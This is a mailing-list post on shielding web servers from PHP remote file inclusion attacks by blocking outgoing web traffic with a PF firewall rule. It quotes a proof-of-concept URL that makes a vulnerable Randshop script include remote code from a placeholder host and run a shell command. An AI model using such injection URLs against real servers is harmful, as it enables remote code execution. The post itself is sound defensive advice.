Daniel Ouellet wrote:
3.1 Good users supply data check.
So far most/all of the variations of attacks on web sites are with
scripts trying to inject itself to your servers. Well, you need to do
sanity checks on your code. Nothing can really protect you for that if
you don't check what you expect to receive from users input. So, I have
nothing for that. No idea anyway on how to, other then may be limiting
the side of the argument a get can send, but even that is bad idea I think.
One update on this. I didn't look it up right and put two and two
together. But by default I have PF allowing outgoing traffic only that I
expect to go out. So, you can protect your system that way. It doesn't
make it right as you still need to check your code for sanity user
input, but the way these scripts are injecting themselves to your server
via PHP, or others, do it via the GET call and turn it around to a get
on the net. So a very simple way to protect your box is simply to block
traffic going out of your box to the port 80 and 443 if you also run https.
This will protect you from any bad code you may have, or from any bad
code in packages install on your system.
So, this doesn't fix it. It limit the possibility of the attack to be
successful, that's all.
Example, on security focus for "Randshop Header.Inc.PHP Remote File
Include Vulnerability" as a variation of this:
http://www.securityfocus.com/bid/18763/info
and their proof-of-concept:
http://www.example.com/[path]/includes/header.inc.php?dateiPfad=http://wwww.example2.com/cmd.txt?&cmd=ls
can be nullify by simply putting:
block drop out log quick on { $ext_if, carp1, carp2 } \
inet proto tcp to ! $IntNet port { www, 443 }
if you run carp for example, etc. You adapt to your setup obviously.
Here $IntNet is preset to your own subnet should you need to have
outgoing access to remote port 80 and 443.
Then if you ever have any scripts, or any of your customers have scripts
vulnerable to this, then looking at the logs, you will discover them
very quickly. But your server will still be safe as it will not be able
to pull the bad code inside your server and compromise itself.
Again, that's not a fix, but a way to protect yourself against it.
Hope this help some.
Daniel
